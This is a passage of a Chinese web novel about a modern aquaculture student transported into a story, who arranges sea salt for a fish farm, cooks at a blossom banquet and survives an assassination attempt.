虽然系统空间的调味包中可以兑换海盐,但要想将淡盐水湖湖水,调配成可供海鱼生存的海水,打造人造海洋生态,首先就需要格外多的海盐。
一下子在湖边出现这么多的海盐,来源是极其不好解释的,若是被扣上了个私自开采贩盐的罪名,纪允茉真是跳进黄河都洗不清。
同霍炎辰讲清了自己所需要的海盐量后,后者手中的汤匙都拿不稳了,‘咣当’一声掉进汤碗中,奶白的汤汁飞溅而出,洒落在褐色桌面上。
“你这是要拿海盐堆座盐山出来吗?”霍炎辰放下手中的汤碗,不可置信的看着眼前的人,“更何况如此之多的海盐,常人就算吃上半生,也未必能吃完。”
“我不是拿来吃的,我是拿来养鱼养虾用的。”纪允茉不知道该怎么和他说自己要在内陆养海产品的想法。
此话一出,霍炎辰登时更加错愕,“如此多的海盐,拿来养鱼养虾?你怕是做咸鱼虾干都用不上这么多。”
看和他解释不通,纪允茉斩钉截铁地问:“你就说这件事你能不能帮我办成吧?”
“买海盐的钱,我怕是不能一次全给你。”她摸出袖中早已写好的欠条,递给霍炎辰,“这是欠条,你拿着。”
霍炎辰接过,没看一眼,这些钱他是不会在意的,他意料之外的是纪允茉居然会主动来找他,央着要他帮忙。
“这么多海盐,我有法子能买到,就是得等上几天,才能运到。”
霍炎辰也跟着站起身,两步就到了纪允茉跟前,他腰身微微前倾,笑着说:“要是纪小娘子答应我一个要求,我也不是不能帮你办成这件事。”
他是城主唯一的儿子,手下的人脉和势力,这点事情,不能办不成。
对于打包票的事儿,有条件又有什么不能答应的呢?
纪允茉仅思索了半分钟,而后说道:“什么事儿?”
“过几天各家公子小姐相邀着去赴一场桃花宴,踏青、吟诗,你同我一起去。”霍炎
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辰那双眼睛,笑起来看向她时,彷佛带着光。
窗子开着,柔和的春风灌了进来,撩动着她的发丝,温暖拂面而过,叫人想要醉在这春风中。
尤其是那一句,“不成问题。”
随着春风一齐而来,拨动着霍炎辰的心弦。
“那就这么定了。”得到了满意答案的人,笑意更深,摆手道:“坐下再点些菜,陪我吃完这顿饭。”
纪允茉点点头,一早起来就开始在后厨忙到现在,没想太多,就跟着重新坐回到自己的位置上去。
各家举办的桃花宴,无非就是宴会如其名,看似是踏青,实则是相看,遇桃花来的。
“来两碗云吞,再上些酒楼里的招牌菜。”霍炎辰说着,又问对面的纪允茉,“纪小娘子可还有什么想吃的?”
纪允茉没有回答他,反而是道:“要我同你前去也可,不过没有工钱的事情我也不干啊。”
“这点,纪小娘子尽管开口。”
“我也不白拿你的工钱,桃花宴上做餐食的庖厨算我一个。”纪允茉说着,啃了口云吞,鲜甜的虾肉在味蕾中迸发开,“吟诗作画,我是没那个本事,做好吃的,我绝对是没问题的。”
她自信的扬起下巴,长发裹着橙黄色的碎花帕子,编成长辫垂在胸前,一缕阳光不偏不倚,照在她的身上,暖洋洋的。
这一幕看得霍炎辰会心一笑,他道:“纪小娘子说什么,就是什么,只要你能去,我就很开心了。”
纪允茉端起木杯中的奶茶,同他碰杯,“说这些干嘛,养鱼盈收了,我一定给你封个红包。”
霍炎辰笑着摇了摇头,纪允茉以为他不愿收,不解的说:“干嘛不要啊?”
“你觉得我是为钱财,才答应帮你的吗?”
“不然呢?”
纪允茉歪着脑袋,怔怔的看着他。
走廊外的脚步声响起,又急又快,没等霍炎辰见势继续说下去,周则衡突然闯了进来,他道:“霍大公子真是好雅兴,忽悠人真是张口就来啊。”
“我等同霍大公子不同,不敢有旁的想法。”
周则衡说着,拉起纪允茉,转向她时,语气变得柔和起来,“既然事情都说完了,那就走吧。”
霍炎辰也跟着起身,急匆匆的说:“我问的是纪小娘子,你有什么资格替她回答?”
气氛霎时间剑拔弩张,两人眼神狠戾,谁也不愿让着谁。
周遭低气压,让纪允茉大气不敢喘,只是推着周则衡道:“不是要走吗?怎么不走了?”
周则衡十分克制,始终是拉着她的衣袖,将人往外带。而纪允茉则是被动的走着,还回头朝霍炎辰道:“那就这么说定了,让你帮我的事情可别忘了。”
直到下了楼梯,她仍旧是被周则衡拉着,力道大的,她无法挣开,前者的手无论如何也不愿松开她的衣袖。
直到来了空旷无人的后院中,纪允茉才道:“周则衡,你今天是怎么了?”
“我没事。”他说着,攥着她衣袖的手指愈发的用力。
“这叫没事儿?”纪允茉抬起被他拉着的衣袖,周则衡瞬间松开了,宽大的衣袖被攥的皱巴巴。
纪允茉拍打着袖口,企图将那些褶皱的纹路抚平,就听到极其委屈的一句,“你是不是不再需要我了?”
16. 鲈鱼蒸蛋
三月中旬,博塔的天气才算是慢慢进入了春天,杏花忍耐了一整个漫长的冬季,卯足了劲儿,枝桠上挤满了淡粉色的花瓣,整片的杏花于广袤的草地之上绽放,不时纷纷扬扬地落下几片。
置身其中,恰似来到了只属于杏花的海中。
“这南疆的杏花大多是老树野花居多,生在高原;而北疆的杏花林大多在草原上,杏花同雪山交相辉映,倒也叫人流连忘返。”梁宏元立于崖边,双手负于身后,朝下望去。
阳光落在屹立的雪山之巅,反射出耀眼的白光,一片嫩绿的草地,与粉色的杏花连接在一起,煞是好看。
霍炎辰抬手撩起帷幔,未下马车就听到了他的自言自语,也道:“还是梁小将军见多识广,我只知现下正是杏花开的季节,倒未曾见过南疆北疆杏花的不同。”
梁宏元转身之际,霍炎辰下了马车,前者未曾开口,就听到他又说:“宏元,你来得倒是挺早。”
“不知你是赏花啊,还是来寻人的?”霍炎辰靠近他,小声的说着,目光却落在崖壁之下,穿梭在杏花林中的沈家两姐妹。
梁宏元哽住了,余光向下看去,没回他,只是快步朝前走去。
这处崖壁算不上太高,离那片杏花林不远,是个绝佳的观赏之地。
“哎,宏元,等等我!”霍炎辰追上他的步子,脸上带着猜出他心思得意的笑。
京中郊外这时桃花开的正好,每年都会举办桃花宴,各家尚未嫁娶的公子小姐都会相聚于林中,设宴、吟诗。
到了博塔,杏花开的竟比桃花早,桃花宴仍旧如期设宴,只不过看的是杏花罢了。
为了按时赶到,纪允茉早早的同周则衡乘马车赶来,同今日一道来做菜的庖厨支起了铁锅,就近寻些柴禾。
十几人有条不紊的忙活着,一身形肥胖,圆脸浓眉的男人见他们两人来了,说道:“还未吃朝食吧?”
他两步走向一旁的竹筐,掀开竹筐上盖着保温的褥子,从中拿出两块儿冒着热气的馅儿饼,递给纪允茉和周则衡。
两人接过后道谢,纪允茉忙啃了一大口,牛肉咸香,土豆沙沙的,却十分绵软。
“来的匆忙,早上没吃一口东西。”她说着,又咬下一块,“这土豆牛肉馅儿饼真好吃。”
“我做的,自然是好吃的。”男人说着,打了两碗奶茶,放到一旁的木桌上,示意两人过来坐,“吃些馅儿饼,喝点热奶茶,再干活儿也不迟。”
纪允茉点点头,照做,猜他应是今日后厨的管事。
果不其然,下一秒,男人问:“你们是哪家雇来做菜的?”
“霍大公子叫我来的。”
一听纪允茉就是霍炎辰请来的,男人忽地变得更加客气起来,笑道:“馅儿饼尽管拿着吃啊,不够还有。”
“还有奶茶,喝的惯吗?”男人说着就要起身,“不习惯的话,我再去做些别的。”
纪允茉连连摆手,“不用不用,咸奶茶我喝的习惯,不用那么麻烦的。”
男人转头问周则衡,“那这位兄弟呢?”
“我也一样。”
这态度,恍惚间让纪允茉觉得,自己彷佛才是今天后厨管事的一样。
“想必你就是霍大公子口中的纪小娘子吧?”男人问。
纪允茉啃着皮儿酥,馅儿多的土豆牛肉馅儿饼,含糊不清的说:“对,是我。”
“霍大公子说纪小娘子最擅烹鱼,昨个夜里就派人送来了鲈鱼。”男人说着起身掀开盖着木盖的水缸,“如今这鱼还在水缸中喂着,鲜活的很。”
“纪小娘子尽管拿去展示自己的厨艺。”
水缸中的鲈鱼吐着泡泡,见人来了,慌张的摆动着尾巴,想要逃离,却被困在这方寸之间。
可不是鲜活的很!
本来还在发愁桃花宴不准庖厨自己带食材来,只能用提供的食材,她该做什么好呢。鲈鱼一出现,算是帮她解决了这个难题。
她是水产养殖学专业的,就对鱼虾感兴趣,连学做菜,也是只学怎么去烹饪鱼虾。
对于其它菜的做法,她倒是没那么得心应手了。
“等下吃完饭,帮我把鲈鱼给处理一下。”纪允茉交代着周则衡,而后者彷佛自打进入这杏花林之后,就变得十分警惕起来,不时的打量着周围。
“好。”他应着,又交代起来,“等下别乱跑,最好是别离开我的视线范围。”
“人多,又是这荒山野岭的。”
纪允茉听罢,没过多的放在心上,只是小声的嘀咕了句,“这世家公子小姐设的桃花宴,又是在边疆之地,除了来赴宴的,人影都瞧不见一个,哪里会有危险?”
左手拿三个鸡蛋,磕入碗中,拿打碎的半个鸡蛋壳,一个鸡蛋加三蛋壳的水,再撒上些许盐,右手握着筷箸,飞速的将其搅拌混合,直到碗中呈现出黄橙橙的蛋液。
将蛋液倒入纱网制成的筛子,过滤两遍,使之口感更加的细腻。
葱切粒,下入一点点盐,拿滚烫的热油倒下去,激出香味,放置一旁备用。
等到她将这一切都准备好了之后,周则衡也将鲈鱼处理好,洗净了。
鲈鱼片成鱼片,用盐、糖和淀粉调味,在加葱油进去,拌匀了。
铁锅上架了篦子,蛋液拿椭圆深肚的白瓷盘,冷水下锅去蒸,蛋液倒了大半,盖上锅盖,大火将水烧开之后,去了两根柴,转小火继续蒸。
估摸着蒸了8分钟左右,纪允茉开了锅盖,此刻蛋液基本就要定型了,倒入剩下的蛋液,同时将片好的鲈鱼片一齐放上去。
再继续蒸个5分钟,鲈鱼肉片的很薄,蒸蛋羹更是易熟。
再次开盖的瞬间,鲜香的气息迎面而来,葱油和酱油再淋上去,这道鲈鱼蒸蛋就完成了。
手持小刀,轻轻一划,便分成了小块,小心的拿铜勺一块一块的取出摆盘。
银制的盘子中摆上这么一块,轻轻端起来,那蛋羹带着鲈鱼左右晃动,布丁一般。
霍炎辰逛了会儿,早饿了,刚一落座,丫鬟便端着这么一份鲈鱼蒸蛋上来了。
在看到的那一刻,他的嘴角不觉得扬起一丝笑,半天没有动筷,忽地,坐在斜对面的沈秋华惊呼道:“太好吃了!”
“蛋羹滑嫩,鲈鱼肉甜,葱油的香恰到好处。”
沈秋华一下子就猜到了,“这样新奇又好吃的做法,一定出自那位纪小娘子之手吧?”
“今日可是谁将她请来了?”
锦蜀酒楼生意日渐红火的同时,纪允茉的名声也跟着在博塔流传起来,人人都说开萨尔请来了中原而来的神厨。
市集上口口相传的话,自是也落到了这些世家公子小姐的耳中。
“是我让纪小娘子一同来
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赴宴的,她也只做这一道菜,同我等一道赏花。”霍炎辰眉目间露出得意的神情,好似不是在夸纪允茉,而是在说自己一样。
沈秋华道:“纪姑娘做出的菜,总是能叫人眼前一亮。”
霍炎辰瞧着沈秋华一侧的位子空着,又见平日里这两姐妹总是相伴,此刻却不见了沈秋薇的身影,开口问道:“你二姐怎的不来入席?”
沈秋华又一大口鲈鱼蒸蛋下肚,不紧不慢的说:“二姐姐她放风筝去了,说是再玩会儿过来。”
“哦,原来是这样。”霍炎辰点点头,猛然之间又觉得不对劲,自己身旁的位置可不是也空着的吗?
梁宏元也没过来,说是要再逛逛杏花林。
他的眼神在两张空着的席位上飘忽不定,笑着摇摇头,梁宏元的心思,太好猜了!
而一旁未曾入席的梁宏元,此刻正心不在焉的赏着满树浅粉色的杏花,与这棵杏花树相隔十米远的距离,沈秋薇正一点一点的放着手中的风筝线。
画着红橙鳞片的小金鱼在碧蓝的天空中比其它任何风筝都要耀眼,随着沈秋薇收放着手中的风筝线,小金鱼灵活的在空中遨游。
天空透蓝,万里无云,如同湖水一般。
金鱼风筝也好似活了过来,连续转弯,而后继续向上飞行。
沈秋薇乐在其中,走走停停,不时的小跑起来,裙角翻飞,同盛开的杏花似的。
忽地,沈秋薇一声惊呼,金鱼风筝打了个旋儿后,直线下降,就这么落在了一棵杏花树上。
她小跑着来到树边,踮起脚尖,伸直手臂,来回几次跳起来也没能摸到风筝一角,转头看去,就见梁宏元定定的看着一枝开的正盛的杏花,她挥手道:“梁小将军,可否帮我一个忙?”
自风筝掉落时,梁宏元就注意到了,他在等沈秋薇主动来寻求他的帮助。
果不其然,梁宏元应声看去,装作毫不知情的缓缓朝她走去,沈秋薇指着卡在树枝中的金鱼风筝,道:“梁小将军能否替我将这风筝拿下来。”
“这只金鱼风筝是爹爹为我画的,我不想就这么丢了它。”
“自是可以。”
梁宏元说着,轻功一跃,三两步,蹬到树上,长臂一伸,很轻易的就拿到了那只金鱼风筝。
杏花树经他这几脚下去,树枝晃动,浅粉色花瓣如雪般向下飘去,只一抬头,风华正茂的少年将军手持风筝,就这么和她对望。
在树下,在一场花雨中。
怎叫人不心动?
梁宏元一跃而下,将金鱼风筝递给她,有瓣杏花正好落在风筝上,就这么送到她的手中。
沈秋薇有些愣神,后知后觉的将风筝拿在手中。
“临近午时,差不多该入席了。”梁宏元率先朝前走去,沈秋薇跟在他的身后,只赶快两步,就与他并肩同行。
“梁小将军说的是。”
“你们两个不在席位上坐着,原来是跑这里放风筝来了。”霍炎辰从一棵杏花树后探出脑袋,一眼就瞧见了迎面而来的两人。
“再过会儿可就要错过了纪小娘子做的鲈鱼蒸蛋了。”
他说着眼神示意梁宏元,似是在问,现下是什么情况,而后者没有理会,见他提起纪允茉,索性就挑开了话题。
“你要的那些海盐,约莫着申时就能送到了。”
“太好了!”
17. 鲤鱼焙面
“忽然之间要这么多的海盐作甚?”梁宏元很是不解,“还要都运到湖边去。”
“我记得那湖周围全是盐碱地,十天半月也不见得会有人去。”
霍炎辰说服了霍玄给开了采买海盐的文书,自附近的城往博塔调运,为了方便就央着梁宏元手下的人帮忙运海盐了。
他轻咳一声,一副正经模样,“不是我需要买如此之多的海盐,而是有人托我帮这个忙。”
霍炎辰把玩着手中的折扇,心不在焉的说:“有我父亲在,我只负责每天逍遥自在。这些个做生意的营生,我也懒得去想。”
“人生苦短,何不及时行乐的好。”
霍炎辰说着打开折扇,轻轻扇动扇面,加快脚步自顾自地朝前走去。
他能说出此番话,梁宏元并不觉得有什么不对,整个博塔谁人不知,霍炎辰整日里爱走街串巷、寻欢作乐。
这样的闲散生活,他过惯了,自是怕被束缚。
这样的心态,他梁宏元做不到,压制自己的情感,不擅长表达,只知杀敌卫国,这才是他,冷漠、理智,成就了如今的梁小将军。
以至于,在面对沈秋薇时,他下意识的那份情感生生咽了回去。
“纪姑娘煮鱼烹虾的手法可谓一绝,快走,别错过她做的鱼。”沈秋薇催促着,一手拿着金鱼风筝,一手提起裙摆,步子又急又稳。
桃花宴上菜的规矩是每隔一刻,便有人来取走上一道菜,送上新的来。每人的席位上,都有一张巴掌大,拿宣纸写的菜单。
依照顺序,上菜、撤走餐盘。
还未曾入席的沈秋薇不知有几道菜是纪允茉准备的,于是在落座后,上的每道菜都尝了口,对比下来发现还是最初的那道鲈鱼蒸蛋,更合自己的胃口。
便小声的同沈秋华讨论了起来,“我猜纪姑娘今日只做了一道菜,便是那鲈鱼蒸蛋。”
沈秋华也跟着颔首,道:“除了那道菜,余下的不是说不好吃,只是稍微逊色了些。”
两人说着,一青衣女子离席,她身后跟着两名侍女,一人抱着云杉木制成的琴的一端,将琴置于左右两排席面中央,布置好后,青衣女子素手轻轻拨动琴弦。
清新淡雅的旋律波动着在座之人的心弦,只短短几下,竟让人觉得置身于花海之中,耳边是呼啸而过的风声,落在鼻尖的是浅粉色花瓣。
琴音似是有了形状,如湖中掷下一颗石子般,泛起涟漪。
伴随着琴音一同而来的,还有一道鲤鱼焙面,鱼身上斜切数刀,炸鱼时形成漂亮的造型,同样高温炸制的龙须面,银丝一般盖在淋了赤红色糖醋汁的鲤鱼身上。
沈秋华一块又一块的面丝就着鱼肉入口,酸甜咸鲜,几种味道混合在口中,却又丝毫不违和,鱼肉的软嫩,配着糖醋汁的酸甜,叫人停不下筷了。
“二姐姐,这鲤鱼做的比往年桃花宴上那鲤鱼炖豆腐要好吃的多了。”
沈秋华往沈秋薇身边凑了凑,压低声音道:“二姐姐,你尝尝,真的好吃。”
沈秋薇看她一口一个好吃的称赞这鲤鱼焙面,也夹起一块送入口中,先吃焙面,后吃鲤鱼,面丝蓬松酥脆,鱼肉伴着熬制恰到好处的糖醋汁,瞬间席卷整个味蕾。
这一口下去,让她想起了,圣上设宴,她同父亲一起赴宴,吃到的鲤鱼焙面也是这个味道。
后来,沈府上的庖厨无论如何也做不出这般味道的鲤鱼焙面,沈秋薇以为,自己此生,兴许再也尝不到这样的手艺了。
却没想到在桃花宴上,裹着赤红芡汁,盖上银丝龙须面的鲤鱼,能再次出现在她的眼前。
“这鲤鱼焙面是哪家府上的庖厨做的?”沈秋薇夹着半块未吃完的鱼肉,仔细端详起来。
沈秋华没放在心上,随口道:“今日来参加桃花宴的,诸家府上少说派了名庖厨来。多了就像霍大公子,将锦蜀酒楼中的纪姑娘和她的帮手都请来了。”
“如何得知这鲤鱼焙面是出自谁人之手?”
沈秋薇听着,拿着筷箸的指尖微微用力,鱼肉裹着的糖醋汁滴落在桌面上,一丝猜忌也油然而生。没有足够多的证据,只凭一道菜,她不敢轻易开口。
今日来的都是博塔城中住着的公子小姐,出了乱子,搅动人心,自是难收场的。
而此刻,忙完了手上所有活儿的纪允茉,得了空闲,拿着一袋奶塔子,穿梭在杏花林中,四处转悠着。
“给这群公子小姐做饭,比在锦蜀酒楼里工作一天,要轻松的多,还有这么多的银钱拿。”她拍着腰间的荷包,里面是三块红枣大小的碎银,走起路来,碎银相撞,她心里美滋滋的。
羊奶制成的奶塔子,酥脆,带着浓郁的奶香,彷佛现代的奶片一样。
“这花开的可真好。”纪允茉嚼着奶塔子,微微踮脚,嗅着一朵杏花,情不自禁的感慨着。
这杏花林似有魔力一般,叫她越走越远,来了林子深处,有棵杏花树,树干足有半米粗,茂密的枝桠肆意的生长,连花都开的密集,站在树下,竟看不到头顶的阳光。
纪允茉从未见过这样的奇怪,自言自语道:“要是有手机,这可不得拍照发个朋友圈,这杏树怕是生长了数百年,树干才能长到这么粗。”
她正细细打量起眼前的杏树,倏然之间,一身着黑衣,蒙面的人,手持利剑,就这么出现在纪允茉面前。
那人目光狠戾,直直盯着纪允茉。
“大哥,我只是个来帮厨的。我不是那些世家小姐,你劫持我没用的。”慌乱之间,纪允茉解释起来,她的脑海中闪过无数电视剧情节。
一般这种户外的宴会,多多少少都要出点事情。来绑架劫持个世家贵族的小姐,而后续,要么是男主角出现,英雄救美;要么就是被绑架的女主机智出逃,途中再听到些什么秘密,或是遇到些困难。
可见,系统告诉过她,她并非书中主角。
绑架的事,自然是轮不到她。
纪允茉抬手示意他别上前了,气氛紧张到极点,她也丝毫不敢往后退去,生怕那黑衣人轻功上前,将剑抵在她的脖颈。
“大哥,肯定是搞错了。”纪允茉说着,就见那人持剑上前,放出狠话,“少啰嗦,杀的就是你。”
“等等!”纪允茉硬生生止住了蓄力上前的人,小心地解开腰间的荷包,“大哥,这是我今天的工钱,都给你。”
“看在大家都不容易的份儿上,放我走吧。”
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黑衣人听罢,沉默不语,手中的剑径直朝他刺去,纪允茉本能的下蹲,侧身闪到一侧。这才堪堪躲了过去,还没来得及喘口气,就见那黑衣人,下一剑就砍了过来。
“难道我就要命丧在这本小说里,再也回不去了吗?”她大喊道:“不要啊——,我追的剧还没追完,还有那么多好吃的,我都还没吃过……”
“后退,往左跑两步!”
周则衡的声音从身后传来,纪允茉十分配合的照做,闪躲到他的身后,她踮起脚尖,下巴近乎要贴到周则衡的肩膀,而后气呼呼的说:“就是他,他差点杀了我。”
“小跟班,你可要保护好我。”
周则衡急匆匆赶来的路上就看清楚了状况,不等纪允茉继续说下去,一剑挡下黑衣人的进攻。
两者剑身相碰的瞬间,‘碰’的一声,迸发出火花,僵持的瞬间,周则衡找准时机,一脚踹开他。
只是试探,没想到对方脚上功夫不行,没接下这一脚,生生被踢到那棵杏花树上,却又猛地朝外滚去,躲过了周则衡刺来的一剑。
后者乘胜追击,步步紧逼,几个回合下来,那黑衣人身上已有几道血淋淋的口子,趁着双方僵持的间隙,周则衡问:“来者何人?为何对一个手无寸铁的姑娘,下如此狠手!”
“他们纪家就该死,全都该死!”
这话一出来,周则衡瞬间明白了,此人定是和纪家被污蔑造反一案有关的。
他立即说道:“你可知,你追随的主子,未必是面上那般好施乐善。”
“我只信,我亲眼所见的。”黑衣人不听劝,下手的力度更狠了。
见劝说无用,是以,接下来的几个回合比拼,周则衡故意留有余地,欲将对方活捉,审问出些信息才是最要紧的。
而黑衣人似是也看出了周则衡的意图,几番搏杀下来,他知道周则衡的武功远高于他,见完全没有了胜算,他一把扯下面罩。
“是你!那个做鲤鱼焙面的师傅!”纪允茉一眼就认出了他,同样都是在忙着做菜的庖厨,唯独他脸上的一道疤,格外显眼,叫纪允茉一下子就记住了。
被认出的人,此刻丝毫不惧,冷笑着说:“纪家余孽如今尚苟活于世,实属世间之祸端、蛀虫。”
他指着自己脸上的那一道疤痕,淬了口,“这都是拜纪旭辰所赐!如今,我刺杀失败,还有何颜面面对死去的兄弟们。”
“不好,他要服毒自尽!”
“你知道我哥?他在哪儿?他还活着吗?”
那人咬碎藏于口中的毒药,周则衡慢了半步,叫他将药吞了下去。
他得逞的笑了起来,“你死也别想知道关于纪旭辰的事,我不会……,不会……”
话还没说完,那人就断了气。
周则衡松开掐着他喉颈的手,沉声道:“还是晚了一步。”
“他究竟是谁?为何会知道纪家的事情?”纪允茉汗毛直立,入境博塔之时,异常的顺利,又一直在锦蜀酒楼工作,这些事麻痹了她的神经,叫她暂时将纪家的冤案放到了一边。
“我先送你到安全的地方去。”周则衡冷静自持的分析道:“剩下的事情,只能通知城主慢慢去查了。”
18. 酸辣鱼
差人告知了霍炎辰,纪允茉提早忙完了手头上的活儿,先一步离开了杏花林。
梁宏元派手下收拾好了那黑衣人的尸体,悄无声息的将尸体运走,故此,除了纪允茉几人,在无其他人知晓这件事情。
为了不打草惊蛇,两人返程时没有坐来时乘坐的马车,而是沿着盘旋的山路,一步一步朝山下走去。
一赶着牛车的老者隔着老远就喊道:“两位可是也到博塔去的?”
周则衡朝那带着斗笠,胡子花白的老者行了一礼,而后道:“老先生,我们正是要到博塔去的。”
“不嫌弃的话,我可搭你们一程。”老者枯树般的双手稍一用力拉缰绳,牛便停下了脚步。
走了半天的纪允茉早就累了,正等他这一句话呢,“多谢了,老先生。”
她学着周则衡的样子,朝老者行了一礼,坐上牛车,又指着身旁的空位,示意周则衡也坐过来。
本朝对于男女之间没有过多庸俗刻板的律法,万朝来拜,民生富裕,商贾、行人赶路,自可陌生男女共乘一车。
周则衡坐下后,双手抱臂,欣赏着沿途陡峭的山崖,牛车缓缓行驶在夯土路上,方圆百里,一片黄土和碎石,寸草不生。
“方才我赶车路过一片杏花林,二位可是来赏花的?”老者问。
“正是。”
得到回答之后,老者若有所思的点点头,“我周游各地,倒也见了不少奇观异景。别的不好,就好搭乘些本地人,叫人给指个路。”
纪允茉转头道:“放心吧,老先生!这去博塔的路,我是再熟悉不过了。”
老者笑而不语,一路上三人有一搭没一搭的交谈起来,纪允茉惊恐的心渐渐平静下来。查过路引,进城到了锦蜀酒楼后,老者欲离去,却被纪允茉拦了下来,“您老执意不要车钱,倒不如留下吃个饭。”
“前些日子我腌制了些糟辣子,这会儿子估摸着都腌制好了。”纪允茉说着做了个请的动作,“老先生要是不着急赶路,留下吃个饭也好。”
“糟辣子?”老者听后,眼中含泪,忍不住背过身去,擦去眼角的泪水,“我记得我娘活着的时候,也会腌些糟辣子,那是无论炒什么都好吃的糟辣子。”
“如今我已远离故乡,周游各地多年,当真是很久都没尝过这一口了。”他声色浑浊,略带哽咽地说。
他没再推辞,跟着纪允茉朝锦蜀酒楼中走去。
糟辣子,就是拿洗净晾干了的辣椒晒干,而后去掉辣椒蒂,晾干的辣椒切碎备用,同样的姜和大蒜切碎了,放到一旁的空盆中。
全都准备好了之后,将上好的白酒倒入切碎的辣椒中,白酒和辣椒碎拌匀了,淹上三刻钟,白酒的酒香完全融入到辣椒碎中,也起了防腐的作用。
辣椒腌渍出水后,空掉多余的水分,将姜蒜和盐、少许的花椒加进去,完全搅拌开。找了个洗净晾干的酒坛,装罐密封。
切菜、腌渍、装罐全程不碰油和水。
放上一个月就可打开吃了,夹取的时候,只要筷子不带油带水,这样一坛糟辣子,放上一两年也不会坏。
纪允茉的妈妈无辣不欢,做大厨的爸爸总会变着花样的给她做菜,而这糟辣子的做法,也是她跟着爸爸学来的。
开坛取糟辣子时,辛辣的气味钻入鼻腔,她也有些忍不住的想要落泪,在二十一世纪的爸妈会不会担心,这么久了自己都没有和他们联系,会不会每天因为这个而伤心?
她不敢再往下想下去,独自穿书而来,只有走到结局,才能活着回到现实。
这时,一直没有出现的系统,似是察觉到了她的情绪波动,亮起电子屏,面板上是任务奖励一栏。
它发出机械音,道:【宿主,如若成功完成任务,谱写书中故事到结局。宿主不仅可以重回二十一世纪,不仅可以好好活下去,还会有一笔三百万的现金奖励。】
【请宿主再接再厉,回家和暴富在前方等着你!】
这激情慷概的一顿劝说,像极了老板给她画大饼的样子。
她抬起头,努力让泪水不落下,笑道:“现在知道出来安慰人了,我刚才遇险的时候,怎么不见你说话?”
海产品养殖系统没有回她,只撂下一句,【请宿主尽快开启养殖鱼虾,祝穿书愉快!】
“不用你提醒我,我知道的。”纪允茉没好气的怼了回去,单手伸到铁锅上,估摸着温度差不多,放油炒香姜蒜,锅中多半碗的油冒起细密的小泡,她顺势倒入方才盛出的糟辣子,翻炒两下,又加了勺辣椒面进去。
加几勺冷水,一锅鲜亮的红色汤汁泛着油光,轻轻搅动,就能闻到辣椒的香味。
丢入晒干的木瓜片,倒入一小碗从系统调味包兑换来的梅子醋,趁着冷水刚下锅,放两条处理好的鲫鱼进去,再加盐调味。
大火烧开后煮上五分钟,再加豆腐块、土豆片进去,去了跟柴,慢慢煮到土豆片透心就差不多了,临出锅前放上小葱、香菜作为点缀。
浓浓的一锅酸汤,就是舀上一勺,泡米饭吃,也别有风味。
当泛着一层红油的酸辣鱼端上桌时,老者再也忍不住了,当着纪允茉的面轻声啜泣起来,他察觉自己的失态,慌忙以袖掩面,过了好大一会儿才止住泪水,自嘲的一笑,“叫姑娘看见老朽这哭鼻子的样子,真是无地自容。”
“姑娘做的这道菜,名为酸辣鱼,不错吧?”老者深呼吸着,将情绪硬生生吞了回去,喃喃道。
“老先生见多识广,这道菜是叫酸辣鱼。”
纪允茉落座在他的对面,又叫人上了两碗米饭,和一些酒楼里的招牌菜。
见她有许多疑惑,老者喝了口热茶,慢慢道来,“不瞒姑娘,你所做的这道酸菜鱼,是我的家乡菜。”
“南方湿热,临海,又多雨水。家家户户靠着捕鱼为生,对于鱼的做法研究出了多种。”
“其中就有一道,需拿糟辣子炖煮的酸辣鱼。”
“故此,当你提及糟辣子时,我就想起了这道菜。没想到离乡多年后,还能在这博塔吃上一口家乡菜。”
纪允茉忙抬手示意,“那您尝尝看,我做的可和您记忆里的味道是不是一样的?”
老者没有推脱,
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鱼肉软嫩,轻轻一夹,糟辣子的红汤裹满鱼肉,酸酸辣辣,很是入味,再尝一口豆腐,滑嫩爽口。
“就是这个味道!”老者看着桌上的酸辣鱼,再抬头,彷佛对面坐着的是阿娘,而他也才不过是个贪玩,而被阿娘喊回家吃饭的孩子。
恍惚间,幻想的泡影破灭,哪里还有阿娘的身影。
不过是,时光流逝,物是人非罢了!
由着是放的梅子醋,还有一丝梅子的回甘,和普通的陈醋又不一样,没那么的酸,中和着辣味,正正好。
辣中也带着甜,如同生活一样。
纪允茉舀了勺酸汤,淋在米饭上,拿汤匙搅拌匀了,一口下去,酸辣的口感,很是开胃!
“谢过姑娘请老朽吃这一顿饭。”
“老先生乐意搭我们一程,请您老吃顿饭,也是应当的,不必言谢。”
茶足饭饱,离了木桌,纪允茉一直将他送到锦蜀酒楼门口,牛车停在门口左侧,托着店小二喂了牛些干草。
如今这牛,干草还未吃完,又要赶着上路了。
纪允茉站在门口,朝他行了一礼,目送着老者重新套上牛车,逐渐远去。
他拉长了声音道:“人生不过蜉蝣在世,朝生暮死,当游历四方,看大好河山!”
是个洒脱的人,纪允茉在心中默默想着,才发觉同她一起回来的周则衡,不知去了何处。
—
城主府上,当值的守卫见周则衡来了,心领神会的带他去寻霍玄。
黑衣人的尸身送去了衙门,此刻正由仵作查验,霍玄得了消息,当即暗中派人去查,却毫无由头,只得焦急的来回踱步。
“那人怕是二皇子有干系。”
在告知了霍玄,同黑衣人的对话后,前者眉心紧皱,“如若是这样,这件事情就绝对不能传了出去。”
“衙门那边我交代了,不会有人说出口去的,至于梁小将军,他也是个聪明人,自是不会将自己牵扯进来。”
周则衡放心的点点头,“此人许是从京城中早早赶来,埋伏于此,只等一个机会。”
“翻案一事,须做长期打算,查出些什么了,我定派人告知你。”霍玄无力的坐在梨花木制成的椅子上,瞧了周则衡也没有其它的线索,转换了话题,“辰儿托人买了许多海盐,都运到湖边去了。”
“我猜是那位纪姑娘准备养鱼要用的吧?”
他抬手捻起一枚黑棋子,置于棋盘上,看似很平常的问。
周则衡笑笑,“是她的想法,若是真的能成功养活鱼虾来,也是解决了博塔缺粮的难题。”
“造福百姓的事,自是好的,遇到了什么麻烦,尽管开口。或是和辰儿说,也是一样的。”
霍玄任职这些年,民风淳朴,少有冤案,百姓对他的评价极高。这样的利民事,他又怎会错过。
“那就多谢城主了!”
周则衡也捻起一枚白棋,落子之时,他和霍玄不约而同的抬头相看,他道:“查案是急不得,有些事情需从长计议。”
窗外桃树枯枝上萌发的新芽,长势正盛。
19. 花螺鸡翅煲
“纪小娘子,你交代我买的那些海盐,我可是都给你放在这里了。”霍炎辰手中的折扇一合,指向湖边一袋袋码放整齐的海盐,“问我爹要盐引来买这么一大堆的海盐,可真是难为我了。”
“我不要别的,纪小娘子能请我吃顿好吃的就行。”
上次桃花宴,本想同纪允茉一起赏花的,没成想事故突发,打断了他原本想与纪允茉独处说会儿话的想法。
